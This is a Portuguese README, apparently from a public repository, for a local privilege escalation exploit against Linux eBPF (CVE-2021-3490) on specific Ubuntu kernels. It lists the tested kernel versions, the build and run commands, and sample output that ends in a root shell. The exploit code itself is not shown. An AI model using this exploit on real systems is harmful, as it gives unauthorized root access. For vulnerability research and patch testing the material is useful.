
Exploração de escalonamento de privilégios local no kernel Linux baseado em eBPF, visando CVE-2021-3490. Fornece acesso de shell root em kernels Ubuntu vulneráveis 5.8.0-25 a 5.11.0-16.
Exploit de LPE para CVE-2021-3490. Testado nos kernels 5.8.0-25.26 a 5.8.0-52.58 do Ubuntu 20.04.02 e 20.10 (Groovy Gorilla) e no kernel 5.11.0-16.17 do Ubuntu 21.04 (Hirsute Hippo). A vulnerabilidade foi descoberta por Manfred Paul @_manfp e corrigida neste commit.
autor: [@chompie1337](https://twitter.com/chompie1337)
Apenas para fins educacionais/de pesquisa. Use por sua conta e risco.
Para compilar para Ubuntu 20.04.02 e Ubuntu 20.10 (Groovy Gorilla):
make groovy
Para compilar para Ubuntu 21.04 (Hirsute Hippo):
make hirsute
Para executar:
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
Nota: Você deve sair corretamente do shell root digitando exit para realizar a limpeza e evitar um pânico do kernel.
Confira o artigo Kernel Pwning with eBPF: a Love Story.